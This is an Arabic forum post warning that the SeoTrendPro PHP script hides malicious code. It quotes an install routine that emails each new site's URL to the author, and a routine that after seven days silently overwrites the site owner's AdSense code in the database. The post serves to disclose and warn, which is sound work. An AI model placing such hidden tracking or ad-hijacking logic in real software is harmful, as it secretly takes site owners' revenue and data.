اسكربت SeoTrendPro به اكواد خبيثة واحتيال ارجو من الادارة والمشرفين التصرف سريعاً

[لجنة التطوير]

السلام عليكم ادارة ومشرفين واعضاء المعهد الافاضل
شاهدة ان هناك الكثير من الناس تتهافت على هذا التطبيق
قمت بتنزل الاسكربت لاشاهد ماذا يحتوى من اكواد بأختصار اشاهد الفكرة الجبارة كما يدعى صاحب العضوية
Arab Coders Project
وشاهدت للاسف ما لم يسر البعض منا كا مطورين
اولا فى ملف functions.php داخل مجلد install
عند التثبيت يرسل الاسكربت بريد الى [email protected] بأن الموقع nema.com قد ثبت الاسكربت
رمز PHP:

$url="http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
$msg_to="[email protected]";
$msg_subject="SeoTrendPro Script ".$url;
$msg_msg="SeoTrendPro New site installation "."Click Here";
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= '*******-type: text/html; charset=iso-8859-1' . "\r\n";
@mail($msg_to,$msg_subject,$msg_msg,$headers);
​

ممكن نقول ان هذا عادى هو يرغب فى ان يعرف هل هناك المزيد من استخدام الاسكربت
ولكن المصيبه الكبرى هى الكود التالى بملف functions.php داخل مجلد includes
رمز PHP:

//ads_value
$get_ads_value=$db->query("select ads_value,dt from users where userid=1");
$fetch_ads_value=$get_ads_value->fetch_assoc();
$ads_value=$fetch_ads_value['ads_value'];
if($ads_value=='no'){

$saved_dt=$fetch_ads_value['dt'];
$saved_dt = strtotime($saved_dt);
$saved_dt = strtotime("+7 day", $saved_dt);//30-01-2014
$saved_added_days= date('d-m-Y', $saved_dt);//+7
$current_date=date('d-m-Y');
if($saved_added_days==$current_date){
//$txt_file=dirname(dirname(__FILE__))."/ads_code/code_728_90.txt";
$g_code='

​

';
$ads_code=$db->real_escape_string($g_code);
//@file_put_*******s($txt_file,$ads_code);
@$db->query("update adsense set ads_code='$ads_code' where id=1");
@$db->query("update users set ads_value='yes' where userid=1");
}
}//if ads_vaue==no



يضع اعلان ادسنس مكان اعلان صاحب الموقع بالاسكربت
ارجو من الادارة اتخاذ اللازم تجاه هذا الشخص
---------------------------------------------------------------
احببت ان ارد جميل المعهد الذى تعلمت منه الكثير والكثير طول مدة عملى فى هذا المجال
فائق الاحترام والتقدير</div>